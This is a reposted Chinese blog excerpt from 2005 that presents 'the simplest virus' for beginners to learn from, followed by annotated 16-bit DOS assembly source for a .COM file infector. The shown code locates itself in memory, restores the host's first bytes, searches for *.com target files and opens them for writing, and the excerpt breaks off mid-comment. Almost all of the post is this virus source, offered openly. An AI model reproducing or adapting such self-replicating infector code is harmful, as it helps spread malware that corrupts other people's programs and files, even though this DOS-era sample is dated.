博文

【转载】一个最简单的病毒(2005-12-15 19:05:00)

摘要:        原来有一些错误,改正过来了,另外自己加了一些注解。毕竟实dos年代的16位病毒了,现在作用不大,但是似乎可以被杀毒软件检测出来,呵呵。         如果想学习病毒,不妨从这个开始,里面我自己加了些注解,如果不是很清除,可以和我交流。 VirusLength equ VirusEnd-VirusStartcode segment  assume cs:code,ds:code,ss:code  org 100hmain proc near  InfectedCode db 'M'               db 3 dup(90h)VirusStart:  call WhereIAmWhereIAm:  pop si  mov bp,si  add si,Original4Bytes-WhereIAm  mov di,100h  movsw  movsw;Change the first 4 bytes.  mov si,bp  mov ah,4ehLooK4NextTarget:  mov dx,offset Target-WhereIAm  add dx,si  mov cx,0  int 21h;Search for the first target file(*.com)  jc error  mov ax,3d02h  mov dx,9eh  int 21h  jc error  xchg ax,bx  mov ah,3fh  mov dx,si  add dx,Original4Bytes-WhereIAm  mov cx,4  int 21h;Read first 4 bytes of t......

阅读全文(4361) | 评论:0